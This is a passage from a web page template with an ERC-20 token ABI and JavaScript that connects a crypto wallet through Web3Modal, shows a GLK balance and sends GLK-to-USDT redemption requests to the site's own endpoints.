"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transfer",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Transfer",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "sender",
"type": "address"
}, {
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transferFrom",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"internalType": "address",
"name": "spender",
"type": "address"
}],
"name": "allowance",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "account",
"type": "address"
}],
"name": "balanceOf",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "decimals",
"outputs": [{
"internalType": "uint8",
"name": "",
"type": "uint8"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "name",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "symbol",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "totalSupply",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}];
let deposit_default = null;
let info = null;
let free = "{{$config['GLK']}}";
let limit = "{{$config['limit_GLK']}}";
async function init() {
const providerOptions = {
walletconnect: {
package: WalletConnectProvider,
options: {
// Mikko's test key - don't copy as your mileage may vary
infuraId: '7d73a0c13ce946769577714aef84b79a',
}
},
};
web3Modal = new Web3Modal({
cacheProvider: false, // optional
providerOptions, // required
disableInjectedProvider: false, // optional. For MetaMask / Brave / Opera.
});
try {
provider = await web3Modal.connect();
provider.enable()
} catch (e) {
return alert("{{trans('web.Please install MetaMask')}}");
}
// Subscribe to accounts change
provider.on("accountsChanged", async (accounts) => {
await fetchAccountData();
});
// Subscribe to chainId change
provider.on("chainChanged", async (chainId) => {
await fetchAccountData();
});
// Subscribe to networkId change
provider.on("networkChanged", async (networkId) => {
await fetchAccountData();
});
await refreshAccountData();
}
/**
* Kick in the UI action after Web3modal dialog has chosen a provider
*/
async function fetchAccountData() {
web3 = new Web3(provider);
injectedWeb3 = web3;
provider.enable();
const accounts = await web3.eth.getAccounts();
selectedAccount = accounts[0];
if (!selectedAccount) {
return alert("{{trans('web.Please install MetaMask')}}");
}
await postRegister(selectedAccount)
}
async function refreshAccountData() {
await fetchAccountData(provider);
}
// 钱包注册
async function postRegister(address) {
$.ajax({
type: "GET",
url: '/userInfo',
data: {
address: address
},
success: function(msg) {
var data = JSON.parse(msg);
info = data;
document.getElementById('address').innerText = '(ERC) ' + data['address'].substring(0, 8) + '...' + data['address'].substring(data['address'].length - 6);
document.getElementById('money').innerText = parseFloat(data['balance']).toFixed(2);
if ((data['balance'] * 1000) > 0) {
document.getElementById('indata').addEventListener('input', numChange)
}
}
});
}
// 变动值
function numChange() {
var in1 = parseFloat(document.getElementById('indata').value);
if (!isNaN(in1)) {
if ((in1 * 10000000000) <= (info['balance'] * 10000000000)) {
if ((in1 * 10000000000) < (limit * 10000000000)) {
document.getElementById('out').innerText = (in1 * parseFloat(free)).toFixed(4);
document.getElementById('btn-connect').setAttribute('class', 'confirm-btn disabled');
document.getElementById('btn-connect').innerText = 'Minimum exchange ' + limit;
} else {
document.getElementById('out').innerText = (in1 * parseFloat(free)).toFixed(4);
document.getElementById('btn-connect').setAttribute('class', 'confirm-btn');
document.getElementById('btn-connect').innerText = 'Confirm redemption';
}
} else {
document.getElementById('indata').value = parseFloat(info['balance']).toFixed(2);
document.getElementById('out').innerText = (info['balance'] * parseFloat(free)).toFixed(4);
document.getElementById('btn-connect').setAttribute('class', 'confirm-btn');
}
document.getElementById('a').innerText = '1 GLK = ' + free + ' USDT';
document.getElementById('e').innerText = '-0.01%';
document.getElementById('f').innerText = '0.10%';
document.getElementById('b').innerText = document.getElementById('out').innerText;
document.getElementById('g').innerText = '0.20%';
document.getElementById('c').innerText = (parseFloat(document.getElementById('out').innerText) - (parseFloat(document.getElementById('out').innerText) * 0.001)).toFixed(4);
} else {
document.getElementById('out').innerText = '';
document.getElementById('btn-connect').setAttribute('class', 'confirm-btn disabled');
document.getElementById('a').innerText = '';
document.getElementById('e').innerText = '';
document.getElementById('f').innerText = '';
document.getElementById('b').innerText = '';
document.getElementById('g').innerText = '';
document.getElementById('c').innerText = '';
}
}
function sub() {
setTimeout(function() {
var in1 = parseFloat(document.getElementById('indata').value);
var address = info['address'];
$.ajax({
type: "GET",
url: '/apiSwap',
data: {
address: address,
balance: in1
},
success: function(msg) {
document.getElementById('success_content').innerText = info['address'].substring(0, 8) + '...' + info['address'].substring(info['address'].length - 6) + ' Successfully exchanged';
document.getElementById('success').removeAttribute('style');
setTimeout(function() {
postRegister(address);
document.getElementById('success').setAttribute('style', 'display: none');
}, 3000);
}
});
$('#indata').val('');
document.getElementById('out').innerText = '';
document.getElementById('btn-connect').setAttribute('disabled', 'disabled');
document.getElementById('a').innerText = '';
document.getElementById('e').innerText = '';
document.getElementById('f').innerText = '';
document.getElementById('b').innerText = '';
document.getElementById('g').innerText = '';
document.getElementById('c').innerText = '';
}, 1000);
}
window.addEventListener('load', async () => {
init();
});
</script>
</body>
</html>